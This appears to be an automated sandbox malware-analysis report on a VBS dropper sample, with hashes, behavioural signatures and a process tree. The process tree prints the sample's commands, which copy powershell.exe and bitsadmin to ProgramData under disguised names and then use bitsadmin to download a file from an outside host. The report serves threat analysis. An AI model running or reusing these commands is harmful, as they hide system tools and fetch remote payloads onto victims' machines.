Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
08-07-2024 21:04
Static task
static1
Behavioral task
behavioral1
Sample
2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs
Resource
win7-20240708-en
General
-
Target
2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs
-
Size
9KB
-
MD5
2dcaf51516980adbe613009d1ca9764b
-
SHA1
fb554ddbcf9c2762af321927e5dde0bb47f38e24
-
SHA256
a06d938815152198d177761698bdeb45ab3f5be509362fbc3957f87713f1b97f
-
SHA512
4d63411921fc969f59ae9becdbdbc2e09aa292d4bb77c85c84208768df63afd44f09143096627e7694e50356ce5b967222d2bd3488e6ec599e84fb880282e30f
-
SSDEEP
192:LGpSVqj1bng0JaWg8ogL5gplgkLDp+mE7E4QehSy0wfV331mbFV+vrrWGFD:LGpSVq5bng0XglAyjgkL1+mE7E4QeMyZ
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
avhgCkyin.exepid process 4932 avhgCkyin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 3368 wrote to memory of 1072 3368 WScript.exe cmd.exe PID 3368 wrote to memory of 1072 3368 WScript.exe cmd.exe PID 1072 wrote to memory of 2904 1072 cmd.exe cmd.exe PID 1072 wrote to memory of 2904 1072 cmd.exe cmd.exe PID 1072 wrote to memory of 3380 1072 cmd.exe cmd.exe PID 1072 wrote to memory of 3380 1072 cmd.exe cmd.exe PID 3368 wrote to memory of 4932 3368 WScript.exe avhgCkyin.exe PID 3368 wrote to memory of 4932 3368 WScript.exe avhgCkyin.exe PID 3368 wrote to memory of 4932 3368 WScript.exe avhgCkyin.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe3⤵PID:2904
-
-
C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe3⤵PID:3380
-
-
-
C:\ProgramData\avhgCkyin.exe"C:\ProgramData\avhgCkyin.exe" /wrap /transfer kLmGBeCt https://analyzare.com/annalisa/CLCMNG70B49A801Q/dev.doc C:\ProgramData\dev.doc2⤵
- Executes dropped EXE
PID:4932
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a